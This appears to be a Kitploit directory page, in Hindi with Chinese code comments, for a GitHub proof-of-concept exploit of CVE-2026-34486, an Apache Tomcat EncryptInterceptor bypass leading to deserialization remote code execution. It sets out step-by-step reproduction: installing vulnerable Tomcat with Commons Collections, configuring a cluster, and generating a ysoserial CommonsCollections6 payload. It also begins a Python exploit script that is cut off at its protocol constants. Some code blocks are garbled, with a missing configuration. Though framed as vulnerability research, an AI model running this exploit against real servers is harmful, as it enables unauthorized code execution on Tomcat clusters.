Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-34486-poc — CVE-2026-34486 Apache Tomcat EncryptInterceptor बाईपास भेद्यता पुनरुत्पादन (GLM5.1 का उपयोग करके पुनरुत्पादन पूर्ण) | Kitploit
उपकरण/GitHubGitHub/airskye/cve-2026-34486-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubairskye/cve-2026-34486-poc

CVE-2026-34486-poc

CVE-2026-34486 Apache Tomcat EncryptInterceptor बाईपास भेद्यता पुनरुत्पादन (GLM5.1 का उपयोग करके पुनरुत्पादन पूर्ण)

रिपॉजिटरी देखें
12195 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-34486 Apache Tomcat EncryptInterceptor बाईपास भेद्यता प्रतिकृति

एक, भेद्यता अवलोकन

विशेषताविवरण
CVE संख्याCVE-2026-34486
गंभीरता स्तरImportant / High (CVSS 3.1: 7.5)
भेद्यता प्रकारCWE-311 संवेदनशील डेटा एन्क्रिप्शन की कमी / CWE-807 अविश्वसनीय इनपुट बाधा
प्रभावित संस्करणApache Tomcat 9.0.116 / 10.1.53 / 11.0.20
सुधार संस्करणApache Tomcat 9.0.117 / 10.1.54 / 11.0.21
मूल कारणEncryptInterceptor.messageReceived() में super.messageReceived(msg) को try-catch ब्लॉक के बाहर स्थानांतरित किया गया

भेद्यता का मूल कारण

CVE-2026-29146 (Padding Oracle) को ठीक करते समय, डेवलपर्स ने EncryptInterceptor.messageReceived() विधि का पुनर्गठन किया, super.messageReceived(msg) को try ब्लॉक के अंदर से बाहर स्थानांतरित कर दिया:

सुधार से पहले (सुरक्षित):```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }

**भेद्य कोड (खतरनाक):**```java
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error(...);
        // 异常被捕获,但执行流继续!
    }
    super.messageReceived(msg);  // ← 在 try 外,无论解密是否成功都会执行!
}

बाइटकोड सत्यापन (Tomcat 9.0.116 के EncryptInterceptor.class से):``` Exception table: from to target type 0 39 42 Class java/security/GeneralSecurityException

// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived

---

## 2. प्रजनन वातावरण

| घटक | संस्करण/कॉन्फ़िगरेशन |
|---|---|
| ऑपरेटिंग सिस्टम | Ubuntu 22.04 (सैंडबॉक्स वातावरण) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (कमज़ोर संस्करण) |
| Gadget लाइब्रेरी | Commons Collections 3.1 |
| हमला टूल | ysoserial v0.0.6 + कस्टम Python/Java PoC |

### वातावरण टोपोलॉजी```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信

3. विस्तृत पुनरुत्पादन चरण

चरण 1: कमजोर संस्करण वाला Tomcat डाउनलोड और इंस्टॉल करें```bash

下载 Tomcat 9.0.116

wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz

解压两份

tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2

### चरण 2: Gadget लाइब्रेरी स्थापित करें```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar

# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/

चरण 3: क्लस्टर + EncryptInterceptor कॉन्फ़िगर करें

tomcat-node1/conf/server.xml संपादित करें, <Engine> के अंदर जोड़ें:```xml

> नोट: `encryptionKey` हेक्साडेसिमल स्ट्रिंग प्रारूप में होना चाहिए (जैसे `546869734973415365637265744B6579` = "ThisIsASecretKey" का ASCII हेक्साडेसिमल), स्पष्ट टेक्स्ट स्ट्रिंग नहीं हो सकता।

### चरण 4: Session प्रतिलिपि सक्षम करें

`webapps/ROOT/WEB-INF/web.xml` में जोड़ें:```xml
<distributable/>

चरण 5: Tomcat क्लस्टर प्रारंभ करें```bash

启动 Node1

cd tomcat-node1 && bin/catalina.sh start

启动 Node2

cd tomcat-node2 && bin/catalina.sh start

验证集群建立

日志中应出现: "Replication member added: ..."

端口 4000/4001 应监听中

**वास्तविक स्टार्टअप लॉग की पुष्टि:**```
WARNING [main] EncryptInterceptor.createEncryptionManager
  The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
  It is recommended to switch to using AES/GCM/NoPadding.

INFO [main] ReceiverBase.bind
  Receiver Server Socket bound to:[/172.24.0.7:4000]

INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
  Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]

चरण 6: डिसीरियलाइज़ेशन पेलोड उत्पन्न करें```bash

使用 ysoserial 生成 CommonsCollections6 gadget chain

(CC6 在 Java 高版本兼容性更好)

java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin

验证 payload 以 Java 序列化魔术字节开头

python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "

### चरण 7: Tribes प्रोटोकॉल संदेश का निर्माण और भेजना

Tribes संदेशों को विशिष्ट XByteBuffer फ्रेम एनकैप्सुलेशन प्रारूप की आवश्यकता होती है:```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]

जहाँ ChannelData पेलोड संरचना:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]

**मुख्य बिंदु**: संदेश बॉडी को सीधे बिना एन्क्रिप्टेड Java सीरियलाइज़ेशन payload में रखा जाता है, यही शोषण का मूल है—EncryptInterceptor डिक्रिप्ट करने का प्रयास करता है, विफल होने पर भी मूल बाइट्स को आगे की श्रृंखला में पास कर देता है।

#### तरीका एक: Python PoC स्क्रिप्ट (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。

用于授权的安全研究环境,严禁用于非法用途。
"""

import socket
import struct
import sys
import os
import time

# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002"   # XByteBuffer 帧起始标记 (7 bytes)
END_DATA   = b"TLF003"    # XByteBuffer 帧结束标记 (7 bytes)

TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"  # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END   = b"TRIBES-E\x01\x00"  # MemberImpl 结束标记 (10 bytes)
टूल डाउनलोड करें